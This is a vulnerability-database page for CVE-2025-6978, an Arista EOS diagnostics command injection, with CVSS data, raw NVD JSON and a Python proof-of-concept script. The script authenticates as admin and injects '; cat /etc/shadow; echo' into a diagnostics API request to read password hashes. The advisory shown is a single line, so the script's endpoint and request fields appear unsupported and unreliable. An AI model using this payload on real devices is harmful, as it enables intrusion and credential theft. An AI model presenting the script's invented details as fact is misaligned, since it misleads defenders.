Security Vulnerability Report
中文
CVE-2025-6978 CVSS 7.2 HIGH

CVE-2025-6978

Published: 2025-10-23 19:15:51
Last Modified: 2026-04-15 00:35:42

Description

Diagnostics command injection vulnerability

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Arista EOS (受影响的版本需参考官方安全公告)
Arista网络交换机固件
Arista路由器固件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-6978 PoC - Arista Diagnostics Command Injection # This PoC demonstrates the command injection vulnerability in Arista diagnostics import requests import json # Configuration TARGET_IP = "<target_ip>" USERNAME = "admin" PASSWORD = "<password>" # The vulnerable endpoint - diagnostics command execution VULN_ENDPOINT = f"https://{TARGET_IP}/api/v1/diagnostics/exec" # Malicious payload to inject command # This example attempts to read shadow file (will likely fail due to permissions) PAYLOAD = "; cat /etc/shadow; echo" def exploit_cve_2025_6978(): """ Exploit for CVE-2025-6978: Arista Diagnostics Command Injection This function demonstrates how the command injection can be exploited by sending a crafted request to the diagnostics endpoint. """ # Authentication headers auth_headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {get_auth_token()}' } # Normal diagnostics request (legitimate) normal_request = { 'command': 'show version', 'module': 'system' } # Malicious request with command injection payload malicious_request = { 'command': f'show version {PAYLOAD}', 'module': 'system', 'exec_mode': 'privileged' } print(f"[*] Sending malicious request to {VULN_ENDPOINT}") print(f"[*] Payload: {malicious_request}") try: response = requests.post( VULN_ENDPOINT, headers=auth_headers, json=malicious_request, verify=False, timeout=30 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: result = response.json() if 'output' in result: print("\n[!] Command injection successful!") print(f"[!] Command output: {result['output']}") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def get_auth_token(): """ Obtain authentication token for the target device """ login_url = f"https://{TARGET_IP}/api/v1/login" credentials = {'username': USERNAME, 'password': PASSWORD} try: response = requests.post(login_url, json=credentials, verify=False) if response.status_code == 200: return response.json().get('token') except: pass return None if __name__ == "__main__": print("CVE-2025-6978 - Arista Diagnostics Command Injection PoC") print("=" * 60) exploit_cve_2025_6978()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6978", "sourceIdentifier": "[email protected]", "published": "2025-10-23T19:15:51.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Diagnostics command injection vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123", "source": "[email protected]"}]}}